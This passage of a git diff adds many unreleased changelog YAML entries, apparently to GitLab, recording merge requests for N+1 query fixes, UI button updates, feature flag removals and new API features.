index 00000000000..a5562568a0f
--- /dev/null
+++ b/changelogs/unreleased/21033-controller-groups-groupmemberscontroller-index-executes-more-than-1.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve group_member policy n+1
+merge_request: 58668
+author:
+type: performance
diff --git a/changelogs/unreleased/21034-controller-groups-labelscontroller-index-executes-more-than-100-sql.yml b/changelogs/unreleased/21034-controller-groups-labelscontroller-index-executes-more-than-100-sql.yml
new file mode 100644
index 00000000000..63dd39d472b
--- /dev/null
+++ b/changelogs/unreleased/21034-controller-groups-labelscontroller-index-executes-more-than-100-sql.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce queries on group labels controller
+merge_request: 57517
+author:
+type: performance
diff --git a/changelogs/unreleased/21043-fix-more-n-plus-one-queries.yml b/changelogs/unreleased/21043-fix-more-n-plus-one-queries.yml
new file mode 100644
index 00000000000..15c867e107a
--- /dev/null
+++ b/changelogs/unreleased/21043-fix-more-n-plus-one-queries.yml
@@ -0,0 +1,6 @@
+---
+title: Eliminate N+1 database queries on the user notifications page within the project
+ notifications section
+merge_request: 59029
+author:
+type: performance
diff --git a/changelogs/unreleased/21043-fix-notifications-controller-n-plus-1-queries.yml b/changelogs/unreleased/21043-fix-notifications-controller-n-plus-1-queries.yml
new file mode 100644
index 00000000000..9b224d0f83b
--- /dev/null
+++ b/changelogs/unreleased/21043-fix-notifications-controller-n-plus-1-queries.yml
@@ -0,0 +1,5 @@
+---
+title: Eliminage N+1 database queries on the user notifications page
+merge_request: 58397
+author:
+type: performance
diff --git a/changelogs/unreleased/21044-controller-profiles-slackscontroller-edit-executes-more-than-100-sq.yml b/changelogs/unreleased/21044-controller-profiles-slackscontroller-edit-executes-more-than-100-sq.yml
new file mode 100644
index 00000000000..0d7848d58b3
--- /dev/null
+++ b/changelogs/unreleased/21044-controller-profiles-slackscontroller-edit-executes-more-than-100-sq.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce number of SQL queries in Profiles::SlacksController#edit
+merge_request: 57674
+author:
+type: performance
diff --git a/changelogs/unreleased/21068-optimize-issueable-updates.yml b/changelogs/unreleased/21068-optimize-issueable-updates.yml
new file mode 100644
index 00000000000..225604a9917
--- /dev/null
+++ b/changelogs/unreleased/21068-optimize-issueable-updates.yml
@@ -0,0 +1,5 @@
+---
+title: Optimize issuable updates
+merge_request: 59468
+author:
+type: performance
diff --git a/changelogs/unreleased/21078-controller-projects-labelscontroller-index-executes-more-than-100-s.yml b/changelogs/unreleased/21078-controller-projects-labelscontroller-index-executes-more-than-100-s.yml
new file mode 100644
index 00000000000..08f0326b970
--- /dev/null
+++ b/changelogs/unreleased/21078-controller-projects-labelscontroller-index-executes-more-than-100-s.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce queries on projects labels controller
+merge_request: 57864
+author:
+type: performance
diff --git a/changelogs/unreleased/21098-reducing-cancel-sql-queries.yml b/changelogs/unreleased/21098-reducing-cancel-sql-queries.yml
new file mode 100644
index 00000000000..61006357e36
--- /dev/null
+++ b/changelogs/unreleased/21098-reducing-cancel-sql-queries.yml
@@ -0,0 +1,5 @@
+---
+title: Preload associations in Ci::Pipeline#cancel_running
+merge_request: 58484
+author:
+type: performance
diff --git a/changelogs/unreleased/21121-fj-fix-n-1-in-projects-and-service-desk.yml b/changelogs/unreleased/21121-fj-fix-n-1-in-projects-and-service-desk.yml
new file mode 100644
index 00000000000..a4e63f6420e
--- /dev/null
+++ b/changelogs/unreleased/21121-fj-fix-n-1-in-projects-and-service-desk.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 in REST projects and service desk
+merge_request: 58747
+author:
+type: performance
diff --git a/changelogs/unreleased/21121-fj-fix-n-1-projects-endpoint-forked-projects.yml b/changelogs/unreleased/21121-fj-fix-n-1-projects-endpoint-forked-projects.yml
new file mode 100644
index 00000000000..3b202fe4bfc
--- /dev/null
+++ b/changelogs/unreleased/21121-fj-fix-n-1-projects-endpoint-forked-projects.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 in projects REST endpoint with forked projects
+merge_request: 57798
+author:
+type: performance
diff --git a/changelogs/unreleased/21140-remove-issue-perform-after-creation-tasks-async-feature-flag.yml b/changelogs/unreleased/21140-remove-issue-perform-after-creation-tasks-async-feature-flag.yml
new file mode 100644
index 00000000000..04c9d1b8d0d
--- /dev/null
+++ b/changelogs/unreleased/21140-remove-issue-perform-after-creation-tasks-async-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Remove issue_perform_after_creation_tasks_async feature flag
+merge_request: 59042
+author:
+type: other
diff --git a/changelogs/unreleased/213581-add-fork-button-to-web-ide-alert.yml b/changelogs/unreleased/213581-add-fork-button-to-web-ide-alert.yml
new file mode 100644
index 00000000000..68e2b0b10ec
--- /dev/null
+++ b/changelogs/unreleased/213581-add-fork-button-to-web-ide-alert.yml
@@ -0,0 +1,5 @@
+---
+title: WebIDE show fork button when cannot push code
+merge_request: 56608
+author:
+type: changed
diff --git a/changelogs/unreleased/214456-dedup-issues-metrics.yml b/changelogs/unreleased/214456-dedup-issues-metrics.yml
new file mode 100644
index 00000000000..6fe71bb23cf
--- /dev/null
+++ b/changelogs/unreleased/214456-dedup-issues-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Deduplicate issue_metrics table
+merge_request: 55285
+author:
+type: other
diff --git a/changelogs/unreleased/215845-uncheck-delete-source-branch-does-nothing-2.yml b/changelogs/unreleased/215845-uncheck-delete-source-branch-does-nothing-2.yml
new file mode 100644
index 00000000000..a43643a9d9e
--- /dev/null
+++ b/changelogs/unreleased/215845-uncheck-delete-source-branch-does-nothing-2.yml
@@ -0,0 +1,5 @@
+---
+title: Fix delete source branch status message
+merge_request: 58605
+author:
+type: fixed
diff --git a/changelogs/unreleased/21762-link-to-a-line.yml b/changelogs/unreleased/21762-link-to-a-line.yml
new file mode 100644
index 00000000000..686007f50e2
--- /dev/null
+++ b/changelogs/unreleased/21762-link-to-a-line.yml
@@ -0,0 +1,5 @@
+---
+title: Linking to a single line number in Web IDE
+merge_request: 56159
+author:
+type: added
diff --git a/changelogs/unreleased/218252-update-project-overrides-query.yml b/changelogs/unreleased/218252-update-project-overrides-query.yml
new file mode 100644
index 00000000000..fb6c445756a
--- /dev/null
+++ b/changelogs/unreleased/218252-update-project-overrides-query.yml
@@ -0,0 +1,5 @@
+---
+title: Add index services on project and type where inherit is null
+merge_request: 59168
+author:
+type: other
diff --git a/changelogs/unreleased/220628-go-proxy-packages.yml b/changelogs/unreleased/220628-go-proxy-packages.yml
new file mode 100644
index 00000000000..9847b5b9c14
--- /dev/null
+++ b/changelogs/unreleased/220628-go-proxy-packages.yml
@@ -0,0 +1,5 @@
+---
+title: Add Go Packages as a cache for the Go proxy
+merge_request: 34558
+author: Ethan Reesor (@firelizzard)
+type: added
diff --git a/changelogs/unreleased/220647-add-prefix-to-CSS-class-of-syntax-highlighting-blocks.yml b/changelogs/unreleased/220647-add-prefix-to-CSS-class-of-syntax-highlighting-blocks.yml
new file mode 100644
index 00000000000..206af99e369
--- /dev/null
+++ b/changelogs/unreleased/220647-add-prefix-to-CSS-class-of-syntax-highlighting-blocks.yml
@@ -0,0 +1,5 @@
+---
+title: Add language- prefix to CSS class of markdown code blocks
+merge_request: 55076
+author: Camil Staps
+type: fixed
diff --git a/changelogs/unreleased/220680-update-gatsby-project-template.yml b/changelogs/unreleased/220680-update-gatsby-project-template.yml
new file mode 100644
index 00000000000..d3bbe24b992
--- /dev/null
+++ b/changelogs/unreleased/220680-update-gatsby-project-template.yml
@@ -0,0 +1,5 @@
+---
+title: Update gatsby project template to address the pipeline failure
+merge_request: 37410
+author: Takuya Noguchi
+type: fixed
diff --git a/changelogs/unreleased/223238-add-hipaa-logo-for-project-templates.yml b/changelogs/unreleased/223238-add-hipaa-logo-for-project-templates.yml
new file mode 100644
index 00000000000..542b21e39a9
--- /dev/null
+++ b/changelogs/unreleased/223238-add-hipaa-logo-for-project-templates.yml
@@ -0,0 +1,5 @@
+---
+title: Update HIPAA logo for project templates
+merge_request: 53270
+author:
+type: other
diff --git a/changelogs/unreleased/22336-link-test-report-widget-to-file.yml b/changelogs/unreleased/22336-link-test-report-widget-to-file.yml
new file mode 100644
index 00000000000..5d3ace7c988
--- /dev/null
+++ b/changelogs/unreleased/22336-link-test-report-widget-to-file.yml
@@ -0,0 +1,5 @@
+---
+title: Add link to test case file in the test report for merge requests
+merge_request: 57911
+author:
+type: added
diff --git a/changelogs/unreleased/225345-re-add-swap-branches-feature.yml b/changelogs/unreleased/225345-re-add-swap-branches-feature.yml
new file mode 100644
index 00000000000..b3960b1d744
--- /dev/null
+++ b/changelogs/unreleased/225345-re-add-swap-branches-feature.yml
@@ -0,0 +1,5 @@
+---
+title: Re-add swap revisions feature (legacy)
+merge_request: 57802
+author:
+type: added
diff --git a/changelogs/unreleased/22691-externalize-app-views-projects-deploy_keys-edit.yml b/changelogs/unreleased/22691-externalize-app-views-projects-deploy_keys-edit.yml
new file mode 100644
index 00000000000..da20f4299e3
--- /dev/null
+++ b/changelogs/unreleased/22691-externalize-app-views-projects-deploy_keys-edit.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize project deploy keys (edit) strings
+merge_request: 57015
+author: Jonston Chan @JonstonChan
+type: other
diff --git a/changelogs/unreleased/227383-fix-search-n-plus-1.yml b/changelogs/unreleased/227383-fix-search-n-plus-1.yml
new file mode 100644
index 00000000000..a06d4df1460
--- /dev/null
+++ b/changelogs/unreleased/227383-fix-search-n-plus-1.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 for searching milestone scope
+merge_request: 57715
+author:
+type: performance
diff --git a/changelogs/unreleased/229076-fix-access-denied-on-ca.yml b/changelogs/unreleased/229076-fix-access-denied-on-ca.yml
new file mode 100644
index 00000000000..23fc9f1b31f
--- /dev/null
+++ b/changelogs/unreleased/229076-fix-access-denied-on-ca.yml
@@ -0,0 +1,5 @@
+---
+title: Show the Contribution Analytics promotion page for users without permission
+merge_request: 57222
+author:
+type: changed
diff --git a/changelogs/unreleased/230712-fix-n-1-queries-for-issues-search.yml b/changelogs/unreleased/230712-fix-n-1-queries-for-issues-search.yml
new file mode 100644
index 00000000000..54b75dbaf60
--- /dev/null
+++ b/changelogs/unreleased/230712-fix-n-1-queries-for-issues-search.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 queries for issues search
+merge_request: 58915
+author:
+type: performance
diff --git a/changelogs/unreleased/230717-add-mail-smtp-pool-gem.yml b/changelogs/unreleased/230717-add-mail-smtp-pool-gem.yml
new file mode 100644
index 00000000000..80787d1864a
--- /dev/null
+++ b/changelogs/unreleased/230717-add-mail-smtp-pool-gem.yml
@@ -0,0 +1,5 @@
+---
+title: Add support for SMTP connection pooling when sending emails
+merge_request: 57805
+author:
+type: added
diff --git a/changelogs/unreleased/232811-remove-deprecated-repo-archive-routes.yml b/changelogs/unreleased/232811-remove-deprecated-repo-archive-routes.yml
new file mode 100644
index 00000000000..87d30f99cfb
--- /dev/null
+++ b/changelogs/unreleased/232811-remove-deprecated-repo-archive-routes.yml
@@ -0,0 +1,5 @@
+---
+title: Remove deprecated repository archive routes
+merge_request: 57236
+author:
+type: removed
diff --git a/changelogs/unreleased/232887-add-created_at-to-job-webhooks.yml b/changelogs/unreleased/232887-add-created_at-to-job-webhooks.yml
new file mode 100644
index 00000000000..4ece4ba2f9b
--- /dev/null
+++ b/changelogs/unreleased/232887-add-created_at-to-job-webhooks.yml
@@ -0,0 +1,5 @@
+---
+title: Add created_at to job webhooks
+merge_request: 56835
+author:
+type: changed
diff --git a/changelogs/unreleased/232957-include-merge-request-description-or-any-custom-merge-commit-messa.yml b/changelogs/unreleased/232957-include-merge-request-description-or-any-custom-merge-commit-messa.yml
new file mode 100644
index 00000000000..dc5b454452b
--- /dev/null
+++ b/changelogs/unreleased/232957-include-merge-request-description-or-any-custom-merge-commit-messa.yml
@@ -0,0 +1,5 @@
+---
+title: Fix issue where merge description not showing when merged with merge train
+merge_request: 57787
+author:
+type: fixed
diff --git a/changelogs/unreleased/233431-set-traversal_ids-for-gitlab-org-group.yml b/changelogs/unreleased/233431-set-traversal_ids-for-gitlab-org-group.yml
new file mode 100644
index 00000000000..55d56116625
--- /dev/null
+++ b/changelogs/unreleased/233431-set-traversal_ids-for-gitlab-org-group.yml
@@ -0,0 +1,5 @@
+---
+title: Backfill traversal_ids for gitlab-org staging
+merge_request: 56293
+author:
+type: performance
diff --git a/changelogs/unreleased/235524-test-report-widget-usage-ping.yml b/changelogs/unreleased/235524-test-report-widget-usage-ping.yml
new file mode 100644
index 00000000000..412d40c069c
--- /dev/null
+++ b/changelogs/unreleased/235524-test-report-widget-usage-ping.yml
@@ -0,0 +1,5 @@
+---
+title: Capture test report summary widget views via usage ping
+merge_request: 57543
+author:
+type: added
diff --git a/changelogs/unreleased/239179-new-model-for-finding-evidence.yml b/changelogs/unreleased/239179-new-model-for-finding-evidence.yml
new file mode 100644
index 00000000000..f6f9e7dcfc5
--- /dev/null
+++ b/changelogs/unreleased/239179-new-model-for-finding-evidence.yml
@@ -0,0 +1,5 @@
+---
+title: Add Vulnerabilities::FindingEvidence model
+merge_request: 56790
+author:
+type: changed
diff --git a/changelogs/unreleased/244694-replace-gldeprecatedskeletonloading-with-glskeletonloader-in-app-a.yml b/changelogs/unreleased/244694-replace-gldeprecatedskeletonloading-with-glskeletonloader-in-app-a.yml
new file mode 100644
index 00000000000..9b2281c5af0
--- /dev/null
+++ b/changelogs/unreleased/244694-replace-gldeprecatedskeletonloading-with-glskeletonloader-in-app-a.yml
@@ -0,0 +1,5 @@
+---
+title: Replace deprecated skeleton loader in the user popover with slightly darker SVG based skelton loader
+merge_request: 59180
+author:
+type: other
diff --git a/changelogs/unreleased/245323-arel-support-for-materialized-cte.yml b/changelogs/unreleased/245323-arel-support-for-materialized-cte.yml
new file mode 100644
index 00000000000..b822c2810f2
--- /dev/null
+++ b/changelogs/unreleased/245323-arel-support-for-materialized-cte.yml
@@ -0,0 +1,5 @@
+---
+title: Add support for the MATERIALIZED keyword when using WITH (CTE) queries in PostgreSQL 12
+merge_request: 56976
+author:
+type: other
diff --git a/changelogs/unreleased/24551-keep-search-param-in-commit-scroll.yml b/changelogs/unreleased/24551-keep-search-param-in-commit-scroll.yml
new file mode 100644
index 00000000000..bed12330a7c
--- /dev/null
+++ b/changelogs/unreleased/24551-keep-search-param-in-commit-scroll.yml
@@ -0,0 +1,5 @@
+---
+title: Ensure search param is kept in scrolled commit
+merge_request: 57307
+author:
+type: fixed
diff --git a/changelogs/unreleased/247531-composer-source-jsonn.yml b/changelogs/unreleased/247531-composer-source-jsonn.yml
new file mode 100644
index 00000000000..ca338ca231c
--- /dev/null
+++ b/changelogs/unreleased/247531-composer-source-jsonn.yml
@@ -0,0 +1,5 @@
+---
+title: Support for --prefer-source option for Composer registry
+merge_request: 56693
+author:
+type: changed
diff --git a/changelogs/unreleased/254280-replace-bootstrap-modal-trigger-in-app-assets-javascripts-blob-blo.yml b/changelogs/unreleased/254280-replace-bootstrap-modal-trigger-in-app-assets-javascripts-blob-blo.yml
new file mode 100644
index 00000000000..317b9e18d2c
--- /dev/null
+++ b/changelogs/unreleased/254280-replace-bootstrap-modal-trigger-in-app-assets-javascripts-blob-blo.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate bootstrap modal to GlModal for repo single file uploads
+merge_request: 55587
+author:
+type: changed
diff --git a/changelogs/unreleased/255288-add-a-click-to-copy-link-against-the-project-ID.yml b/changelogs/unreleased/255288-add-a-click-to-copy-link-against-the-project-ID.yml
new file mode 100644
index 00000000000..70c0b51b907
--- /dev/null
+++ b/changelogs/unreleased/255288-add-a-click-to-copy-link-against-the-project-ID.yml
@@ -0,0 +1,5 @@
+---
+title: "Add click to copy button over project ID"
+merge_request: 53224
+author: Virgile MATHIEU @vmathieu
+type: added
diff --git a/changelogs/unreleased/25802-fix-user-creation-with-force-random-password.yml b/changelogs/unreleased/25802-fix-user-creation-with-force-random-password.yml
new file mode 100644
index 00000000000..177471e7516
--- /dev/null
+++ b/changelogs/unreleased/25802-fix-user-creation-with-force-random-password.yml
@@ -0,0 +1,5 @@
+---
+title: Fix force_random_password option when creating Users via API
+merge_request: 57751
+author:
+type: fixed
diff --git a/changelogs/unreleased/258678-move-add-issuable-styles-to-core.yml b/changelogs/unreleased/258678-move-add-issuable-styles-to-core.yml
new file mode 100644
index 00000000000..52577a2d7f5
--- /dev/null
+++ b/changelogs/unreleased/258678-move-add-issuable-styles-to-core.yml
@@ -0,0 +1,5 @@
+---
+title: Fix style for adding a related issue in free tiers
+merge_request: 58893
+author: Michael Telgkamp @michael.telgkamp
+type: fixed
diff --git a/changelogs/unreleased/259794-members-view-update-revoke-invite-modal-header-and-button.yml b/changelogs/unreleased/259794-members-view-update-revoke-invite-modal-header-and-button.yml
new file mode 100644
index 00000000000..4aa3e7ee55d
--- /dev/null
+++ b/changelogs/unreleased/259794-members-view-update-revoke-invite-modal-header-and-button.yml
@@ -0,0 +1,5 @@
+---
+title: Update title on revoke member invite modal and hide unneeded related issues and merge requests checkbox
+merge_request: 57755
+author:
+type: changed
diff --git a/changelogs/unreleased/262086-user-availability-allow-users-to-schedule-un-setting-of-their-stat.yml b/changelogs/unreleased/262086-user-availability-allow-users-to-schedule-un-setting-of-their-stat.yml
new file mode 100644
index 00000000000..13373e67c5a
--- /dev/null
+++ b/changelogs/unreleased/262086-user-availability-allow-users-to-schedule-un-setting-of-their-stat.yml
@@ -0,0 +1,5 @@
+---
+title: User Availability - Allow users to schedule un-setting of their status values
+merge_request: 56649
+author:
+type: added
diff --git a/changelogs/unreleased/26327-include-whether-an-email-is-verified-in-the-user-emails-api-endpoin.yml b/changelogs/unreleased/26327-include-whether-an-email-is-verified-in-the-user-emails-api-endpoin.yml
new file mode 100644
index 00000000000..7ead03d8c40
--- /dev/null
+++ b/changelogs/unreleased/26327-include-whether-an-email-is-verified-in-the-user-emails-api-endpoin.yml
@@ -0,0 +1,5 @@
+---
+title: Return email confirmation time from email entity
+merge_request: 58957
+author:
+type: changed
diff --git a/changelogs/unreleased/26522-commit-message-link-line-break.yml b/changelogs/unreleased/26522-commit-message-link-line-break.yml
new file mode 100644
index 00000000000..7a88270e493
--- /dev/null
+++ b/changelogs/unreleased/26522-commit-message-link-line-break.yml
@@ -0,0 +1,5 @@
+---
+title: Fixed an issue where the link commit message did not end with a newline
+merge_request: 49086
+author: Kazuya Kojima
+type: fixed
diff --git a/changelogs/unreleased/268207_validate_number_of_recipients_for_email_on_push_service.yml b/changelogs/unreleased/268207_validate_number_of_recipients_for_email_on_push_service.yml
new file mode 100644
index 00000000000..49921066820
--- /dev/null
+++ b/changelogs/unreleased/268207_validate_number_of_recipients_for_email_on_push_service.yml
@@ -0,0 +1,5 @@
+---
+title: Add validation for emails on push recipients
+merge_request: 55550
+author:
+type: changed
diff --git a/changelogs/unreleased/270129-conan-project-download-urls-bug.yml b/changelogs/unreleased/270129-conan-project-download-urls-bug.yml
new file mode 100644
index 00000000000..876e975fe4e
--- /dev/null
+++ b/changelogs/unreleased/270129-conan-project-download-urls-bug.yml
@@ -0,0 +1,6 @@
+---
+title: Fix Conan project-level API to return correct download-urls and fix Conan project-level
+ functionality
+merge_request: 56899
+author:
+type: fixed
diff --git a/changelogs/unreleased/271505-update-the-status-icons-for-migrating-groups-and-projects.yml b/changelogs/unreleased/271505-update-the-status-icons-for-migrating-groups-and-projects.yml
new file mode 100644
index 00000000000..2c13ba48bcd
--- /dev/null
+++ b/changelogs/unreleased/271505-update-the-status-icons-for-migrating-groups-and-projects.yml
@@ -0,0 +1,5 @@
+---
+title: Update import statuses texts and icons
+merge_request: 54957
+author:
+type: changed
diff --git a/changelogs/unreleased/273034-support-semver-on-generic-packages.yml b/changelogs/unreleased/273034-support-semver-on-generic-packages.yml
new file mode 100644
index 00000000000..14fabea7c1b
--- /dev/null
+++ b/changelogs/unreleased/273034-support-semver-on-generic-packages.yml
@@ -0,0 +1,5 @@
+---
+title: Relax version validation on generic packages
+merge_request: 56755
+author:
+type: changed
diff --git a/changelogs/unreleased/273274-update-issue-buttons.yml b/changelogs/unreleased/273274-update-issue-buttons.yml
new file mode 100644
index 00000000000..0904ba95652
--- /dev/null
+++ b/changelogs/unreleased/273274-update-issue-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Update buttons on issue page
+merge_request: 56425
+author:
+type: changed
diff --git a/changelogs/unreleased/273283-update-compare-page-button.yml b/changelogs/unreleased/273283-update-compare-page-button.yml
new file mode 100644
index 00000000000..37e48e386fe
--- /dev/null
+++ b/changelogs/unreleased/273283-update-compare-page-button.yml
@@ -0,0 +1,5 @@
+---
+title: Update compare branches button to btn-confirm
+merge_request: 56791
+author:
+type: changed
diff --git a/changelogs/unreleased/273284-update-commit-page-buttons.yml b/changelogs/unreleased/273284-update-commit-page-buttons.yml
new file mode 100644
index 00000000000..95257d0f6d3
--- /dev/null
+++ b/changelogs/unreleased/273284-update-commit-page-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Update buttons and spacing on commit page
+merge_request: 56793
+author:
+type: changed
diff --git a/changelogs/unreleased/273293-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-pipeli.yml b/changelogs/unreleased/273293-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-pipeli.yml
new file mode 100644
index 00000000000..0d8dfa4ab81
--- /dev/null
+++ b/changelogs/unreleased/273293-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-pipeli.yml
@@ -0,0 +1,6 @@
+---
+title: Updating success button to confirm variant and reordering buttons per Pajamas
+ Design System guidelines for buttons
+merge_request: 58112
+author:
+type: other
diff --git a/changelogs/unreleased/273297-update-issues-page-buttons.yml b/changelogs/unreleased/273297-update-issues-page-buttons.yml
new file mode 100644
index 00000000000..6269aeedf24
--- /dev/null
+++ b/changelogs/unreleased/273297-update-issues-page-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Update secondary nav elements right margin to 8px
+merge_request: 56794
+author:
+type: changed
diff --git a/changelogs/unreleased/273300-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-commit.yml b/changelogs/unreleased/273300-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-commit.yml
new file mode 100644
index 00000000000..31e7cb1bef6
--- /dev/null
+++ b/changelogs/unreleased/273300-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-commit.yml
@@ -0,0 +1,5 @@
+---
+title: Decrease spacing between controls on the Commit page header
+merge_request: 56129
+author:
+type: other
diff --git a/changelogs/unreleased/273306-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-boards.yml b/changelogs/unreleased/273306-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-boards.yml
new file mode 100644
index 00000000000..4b8de1d7601
--- /dev/null
+++ b/changelogs/unreleased/273306-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-boards.yml
@@ -0,0 +1,6 @@
+---
+title: Update button variants on the project boards controller to better align with
+ the Pajamas Design System
+merge_request: 57129
+author:
+type: other
diff --git a/changelogs/unreleased/273311-fy21q4-foundations-kr2-audit-and-update-buttons-on-searchcontrolle.yml b/changelogs/unreleased/273311-fy21q4-foundations-kr2-audit-and-update-buttons-on-searchcontrolle.yml
new file mode 100644
index 00000000000..9ae7e20e178
--- /dev/null
+++ b/changelogs/unreleased/273311-fy21q4-foundations-kr2-audit-and-update-buttons-on-searchcontrolle.yml
@@ -0,0 +1,5 @@
+---
+title: Update Search and Apply buttons to confirm variant to align with Pajamas design system
+merge_request: 56122
+author:
+type: other
diff --git a/changelogs/unreleased/273313-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-issues.yml b/changelogs/unreleased/273313-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-issues.yml
new file mode 100644
index 00000000000..d1dcf7ba06e
--- /dev/null
+++ b/changelogs/unreleased/273313-fy21q4-foundations-kr2-audit-and-update-buttons-on-projects-issues.yml
@@ -0,0 +1,5 @@
+---
+title: Update issuable submit content order, button variants, and button alignment
+merge_request: 57172
+author:
+type: other
diff --git a/changelogs/unreleased/273325-fy21q4-foundations-kr2-audit-and-update-buttons-on-groups-boardsco.yml b/changelogs/unreleased/273325-fy21q4-foundations-kr2-audit-and-update-buttons-on-groups-boardsco.yml
new file mode 100644
index 00000000000..99463a4e3be
--- /dev/null
+++ b/changelogs/unreleased/273325-fy21q4-foundations-kr2-audit-and-update-buttons-on-groups-boardsco.yml
@@ -0,0 +1,5 @@
+---
+title: Only display focus mode button at md+ breakpoint and make it the tertiary style
+merge_request: 57139
+author:
+type: other
diff --git a/changelogs/unreleased/273726-feature-flag-remove-jira_issues_list.yml b/changelogs/unreleased/273726-feature-flag-remove-jira_issues_list.yml
new file mode 100644
index 00000000000..32a6f660b64
--- /dev/null
+++ b/changelogs/unreleased/273726-feature-flag-remove-jira_issues_list.yml
@@ -0,0 +1,5 @@
+---
+title: Update Jira issues list to use new UI components
+merge_request: 56465
+author:
+type: changed
diff --git a/changelogs/unreleased/276948-remove-extra-check-from-api-helpers.yml b/changelogs/unreleased/276948-remove-extra-check-from-api-helpers.yml
new file mode 100644
index 00000000000..b2235a34e0a
--- /dev/null
+++ b/changelogs/unreleased/276948-remove-extra-check-from-api-helpers.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unused feature flag checks
+merge_request: 58469
+author:
+type: removed
diff --git a/changelogs/unreleased/276949-docs-and-default.yml b/changelogs/unreleased/276949-docs-and-default.yml
new file mode 100644
index 00000000000..62cbb5e50ee
--- /dev/null
+++ b/changelogs/unreleased/276949-docs-and-default.yml
@@ -0,0 +1,5 @@
+---
+title: 'Update Pipeline Graph Visualization'
+merge_request: 58889
+author:
+type: changed
diff --git a/changelogs/unreleased/27765-403-no-job.yml b/changelogs/unreleased/27765-403-no-job.yml
new file mode 100644
index 00000000000..86a2586864d
--- /dev/null
+++ b/changelogs/unreleased/27765-403-no-job.yml
@@ -0,0 +1,5 @@
+---
+title: Return 403 status code to the Runner when CI Job is deleted
+merge_request: 59382
+author:
+type: fixed
diff --git a/changelogs/unreleased/27954-remove-hipchat-project-service.yml b/changelogs/unreleased/27954-remove-hipchat-project-service.yml
new file mode 100644
index 00000000000..3757d5d6793
--- /dev/null
+++ b/changelogs/unreleased/27954-remove-hipchat-project-service.yml
@@ -0,0 +1,5 @@
+---
+title: Remove HipChat integration from frontend and docs
+merge_request: 57556
+author:
+type: removed
diff --git a/changelogs/unreleased/280781-support-assignee-wildcard-filters-board-issues-graphql.yml b/changelogs/unreleased/280781-support-assignee-wildcard-filters-board-issues-graphql.yml
new file mode 100644
index 00000000000..29fcceb5d96
--- /dev/null
+++ b/changelogs/unreleased/280781-support-assignee-wildcard-filters-board-issues-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Support filtering by assignee wildcard in GraphQL board list issues query
+merge_request: 58996
+author:
+type: added
diff --git a/changelogs/unreleased/283893-mr-pipeline-coverage-update.yml b/changelogs/unreleased/283893-mr-pipeline-coverage-update.yml
new file mode 100644
index 00000000000..79164376258
--- /dev/null
+++ b/changelogs/unreleased/283893-mr-pipeline-coverage-update.yml
@@ -0,0 +1,5 @@
+---
+title: Clarify what coverage means on the merge request pipeline section
+merge_request: 57275
+author:
+type: added
diff --git a/changelogs/unreleased/284116-sync-single-file-mode-user-preference.yml b/changelogs/unreleased/284116-sync-single-file-mode-user-preference.yml
new file mode 100644
index 00000000000..32cfc95f594
--- /dev/null
+++ b/changelogs/unreleased/284116-sync-single-file-mode-user-preference.yml
@@ -0,0 +1,5 @@
+---
+title: Create UserPreferences API
+merge_request: 55033
+author:
+type: added
diff --git a/changelogs/unreleased/285467-package-registry-graphql-api.yml b/changelogs/unreleased/285467-package-registry-graphql-api.yml
new file mode 100644
index 00000000000..17c4c2b3344
--- /dev/null
+++ b/changelogs/unreleased/285467-package-registry-graphql-api.yml
@@ -0,0 +1,5 @@
+---
+title: Add Conan GraphQL type to package
+merge_request: 57719
+author:
+type: added
diff --git a/changelogs/unreleased/287803_fix_dismissed_vulnerabilities_data.yml b/changelogs/unreleased/287803_fix_dismissed_vulnerabilities_data.yml
new file mode 100644
index 00000000000..1cb9f21832a
--- /dev/null
+++ b/changelogs/unreleased/287803_fix_dismissed_vulnerabilities_data.yml
@@ -0,0 +1,5 @@
+---
+title: Populate missing dismissal information for vulnerabilities
+merge_request: 57347
+author:
+type: added
diff --git a/changelogs/unreleased/287921-default-global-search-tab-inconsistent.yml b/changelogs/unreleased/287921-default-global-search-tab-inconsistent.yml
new file mode 100644
index 00000000000..3a424de64c5
--- /dev/null
+++ b/changelogs/unreleased/287921-default-global-search-tab-inconsistent.yml
@@ -0,0 +1,5 @@
+---
+title: Set the scope in search context from group issue and MR pages
+merge_request: 56383
+author:
+type: other
diff --git a/changelogs/unreleased/288004-initialize-events-id-conversion-to-bigint.yml b/changelogs/unreleased/288004-initialize-events-id-conversion-to-bigint.yml
new file mode 100644
index 00000000000..3f444e5dbf9
--- /dev/null
+++ b/changelogs/unreleased/288004-initialize-events-id-conversion-to-bigint.yml
@@ -0,0 +1,5 @@
+---
+title: Initialize conversion of events.id to bigint, and add execute_batched_migrations_on_schedule feature flag to control scheduled background migrations
+merge_request: 51332
+author:
+type: other
diff --git a/changelogs/unreleased/288343-show-full-treeview.yml b/changelogs/unreleased/288343-show-full-treeview.yml
new file mode 100644
index 00000000000..39b59b416fb
--- /dev/null
+++ b/changelogs/unreleased/288343-show-full-treeview.yml
@@ -0,0 +1,4 @@
+---
+title: Fix MR diff file tree being hidden behind review bar
+merge_request: 59150
+type: fixed
